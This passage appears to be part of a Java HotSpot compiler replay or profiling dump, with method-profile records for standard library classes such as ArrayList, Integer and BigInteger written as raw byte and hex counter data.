(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 2 280688 orig 320 144 166 201 142 252 127 0 0 0 234 140 8 182 1 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 27 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 1 0 0 121 59 34 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 48 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 16 0x10007 0x4476f 0x30 0x0 0x90002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 0 methods 0\nciMethodData java/util/ArrayList add (Ljava/lang/Object;)Z 2 152415 orig 320 144 166 201 142 252 127 0 0 96 71 162 8 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 1 0 0 209 146 18 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 7 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 20 0 0 0 0 0 data 17 0x140005 0x25257 0x0 0x1b61780ead0 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0x0 oops 1 3 java/util/ArrayList methods 0\nciMethodData java/lang/Number <init> ()V 2 42770 orig 320 144 166 201 142 252 127 0 0 152 2 138 8 182 1 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 129 1 0 0 137 44 5 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 7 0x10002 0xa591 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/lang/Integer <init> (I)V 2 33386 orig 320 144 166 201 142 252 127 0 0 144 144 138 8 182 1 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 133 1 0 0 41 7 4 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 10 0x10002 0x80e5 0x0 0x0 0x0 0x0 0x9 0x2 0x6 0x0 oops 0 methods 0\nciMethodData java/lang/Integer valueOf (I)Ljava/lang/Integer; 2 82005 orig 320 144 166 201 142 252 127 0 0 176 143 138 8 182 1 0 0 192 1 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 190 0 0 0 185 252 9 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 8 0 2 0 0 0 0 0 0 0 80 0 0 0 254 255 255 255 7 0 3 0 0 0 0 0 data 17 0x30007 0xd41 0x40 0x13256 0xa0007 0x739a 0x20 0xbebc 0x1c0002 0x80db 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/lang/String toLowerCase (Ljava/util/Locale;)Ljava/lang/String; 2 18946 orig 320 144 166 201 142 252 127 0 0 200 133 123 8 182 1 0 0 24 2 0 0 104 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 9 72 2 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 11 0 2 0 0 0 0 0 0 0 144 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 28 0x10005 0x4901 0x0 0x0 0x0 0x0 0x0 0x40007 0x45 0x48 0x48bc 0xd0002 0x48bc 0x100003 0x48bc 0x28 0x190002 0x45 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xffffffffffffffff 0xffffffffffffffff oops 0 methods 0\nciMethodData java/lang/Boolean parseBoolean (Ljava/lang/String;)Z 2 13024 orig 320 144 166 201 142 252 127 0 0 72 105 137 8 182 1 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 18 0 0 0 113 150 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 3 0 0 0 0 0 data 16 0x30005 0x32ce 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0xffffffffffffffff oops 0 methods 0\nciMethod java/lang/NumberFormatException <init> (Ljava/lang/String;)V 17 1 2 0 -1\nciMethod java/lang/NumberFormatException forInputString (Ljava/lang/String;)Ljava/lang/NumberFormatException; 9 1 1 0 0\nciMethod java/util/Collections$UnmodifiableRandomAccessList <init> (Ljava/util/List;)V 33 1 12472 0 -1\nciMethod java/util/Collections$UnmodifiableList <init> (Ljava/util/List;)V 33 1 12629 0 -1\nciMethod java/util/Collections$UnmodifiableList hashCode ()I 2049 1 5388 0 832\nciMethod java/util/LinkedHashSet <init> (Ljava/util/Collection;)V 2049 1 2625 0 -1\nciMethodData java/lang/Integer parseInt (Ljava/lang/String;I)I 2 13001 orig 320 144 166 201 142 252 127 0 0 104 134 138 8 182 1 0 0 160 6 0 0 32 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 15 0 0 0 121 48 1 0 209 149 1 0 26 23 0 0 82 32 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 82 0 2 0 0 0 0 0 0 0 0 5 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 173 0x10007 0x260f 0x30 0x0 0xa0002 0x0 0x100007 0x260f 0x120 0x0 0x1b0002 0x0 0x200005 0x0 0x0 0x0 0x0 0x0 0x0 0x240005 0x0 0x0 0x0 0x0 0x0 0x0 0x290005 0x0 0x0 0x0 0x0 0x0 0x0 0x2c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2f0002 0x0 0x360007 0x260f 0x120 0x0 0x410002 0x0 0x460005 0x0 0x0 0x0 0x0 0x0 0x0 0x4a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x4f0005 0x0 0x0 0x0 0x0 0x0 0x0 0x520005 0x0 0x0 0x0 0x0 0x0 0x0 0x550002 0x0 0x5e0005 0x260f 0x0 0x0 0x0 0x0 0x0 0x690007 0x0 0x248 0x260f 0x6e0005 0x260f 0x0 0x0 0x0 0x0 0x0 0x770007 0x25e6 0xb8 0x29 0x7e0007 0x0 0x38 0x29 0x870003 0x29 0x48 0x8e0007 0x0 0x30 0x0 0x920002 0x0 0x990007 0x29 0x30 0x0 0x9d0002 0x0 0xb00007 0x260f 0x100 0x32ba 0xb80005 0x32ba 0x0 0x0 0x0 0x0 0x0 0xbc0002 0x32ba 0x8000000600c30007 0x1 0x40 0x32ba 0xca0007 0x32ba 0x30 0x0 0xce0002 0x1 0xdf0007 0x32ba 0x30 0x0 0xe30002 0x0 0xee0003 0x32ba 0xffffffffffffff18 0xf20007 0x25e6 0x38 0x29 0xf70003 0x29 0x18 0xff0002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/util/ArrayList <init> ()V 2 261691 orig 320 144 166 201 142 252 127 0 0 184 51 162 8 182 1 0 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 217 237 31 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 9 0x10002 0x3fdbb 0x0 0x0 0x0 0x0 0x9 0x1 0xe oops 0 methods 0\nciMethodData java/util/AbstractList <init> ()V 2 308543 orig 320 144 166 201 142 252 127 0 0 104 168 151 8 182 1 0 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 223 0 0 0 1 163 37 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 9 0x10002 0x4b460 0x0 0x0 0x0 0x0 0x9 0x1 0x6 oops 0 methods 0\nciMethod java/math/BigInteger <init> (Ljava/lang/String;)V 17 1 2 0 0\nciMethod java/math/BigInteger destructiveMulAdd ([III)V 17 49 2 0 -1\nciMethodData java/util/Collections emptyList ()Ljava/util/List; 2 100699 orig 320 144 166 201 142 252 127 0 0 200 48 151 8 182 1 0 0 88 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 27 1 0 0 1 66 12 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 4 0x0 0x0 0x9 0x0 oops 0 methods 0\nciMethodData java/util/Collections unmodifiableList (Ljava/util/List;)Ljava/util/List; 2 12630 orig 320 144 166 201 142 252 127 0 0 200 26 151 8 182 1 0 0 16 2 0 0 104 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 0 0 0 145 138 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 14 0 2 0 0 0 0 0 0 0 144 0 0 0 254 255 255 255 4 0 1 0 0 0 0 0 data 27 0x10004 0xffffffffffffff63 0x0 0x1b61780ead0 0x103f 0x1b619f144a0 0xd38 0x40007 0x9d 0x48 0x30b5 0xc0002 0x30b5 0xf0003 0x30b5 0x28 0x170002 0x9d 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 2 3 java/util/ArrayList 5 com/google/common/collect/AbstractMapBasedMultimap$RandomAccessWrappedList methods 0\nciMethodData java/util/Collections$UnmodifiableList <init> (Ljava/util/List;)V 2 12630 orig 320 144 166 201 142 252 127 0 0 128 143 226 8 182 1 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 0 0 0 145 138 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 2 0 0 0 0 0 data 10 0x20002 0x3152 0x0 0x0 0x0 0x0 0x9 0x2 0x6 0x0 oops 0 methods 0\nciMethodData java/util/Collections$UnmodifiableCollection <init> (Ljava/util/Collection;)V 2 10563 orig 320 144 166 201 142 252 127 0 0 184 129 168 8 182 1 0 0 200 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 0 0 0 233 67 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 64 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 18 0x10002 0x287d 0x50007 0x287d 0x30 0x0 0xc0002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x6 0x0 oops 0 methods 0\nciMethodData java/util/ArrayList$Itr hasNext ()Z 2 10763 orig 320 144 166 201 142 252 127 0 0 104 69 168 8 182 1 0 0 168 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 73 72 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 11 0 0 0 0 0 data 14 0xb0007 0xc6a 0x38 0x1c9f 0xf0003 0x1c9f 0x18 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/math/BigInteger <init> (Ljava/lang/String;I)V 17 17 2 0 -1\nciMethod java/math/BigInteger checkRange ()V 0 0 1 0 -1\nciMethod java/math/BigInteger reportOverflow ()V 0 0 1 0 -1\nciMethod java/math/BigInteger trustedStripLeadingZeroInts ([I)[I 17 1 2 0 -1\nciMethodData java/util/ArrayList$Itr next ()Ljava/lang/Object; 2 5508 orig 320 144 166 201 142 252 127 0 0 112 70 168 8 182 1 0 0 24 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 33 164 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 10 0 2 0 0 0 0 0 0 0 152 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 28 0x10005 0x1484 0x0 0x0 0x0 0x0 0x0 0x110007 0x1484 0x30 0x0 0x180002 0x0 0x270007 0x1484 0x30 0x0 0x2e0002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x6 oops 0 methods 0\nciMethodData java/util/ArrayList iterator ()Ljava/util/Iterator; 2 10515 orig 320 144 166 201 142 252 127 0 0 136 98 162 8 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 13 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 1 0 0 129 64 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 5 0 0 0 0 0 data 8 0x50002 0x2810 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/lang/StringLatin1 getChar ([BI)C 2 7561 orig 320 144 166 201 142 252 127 0 0 80 165 144 8 182 1 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 1 0 0 41 228 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 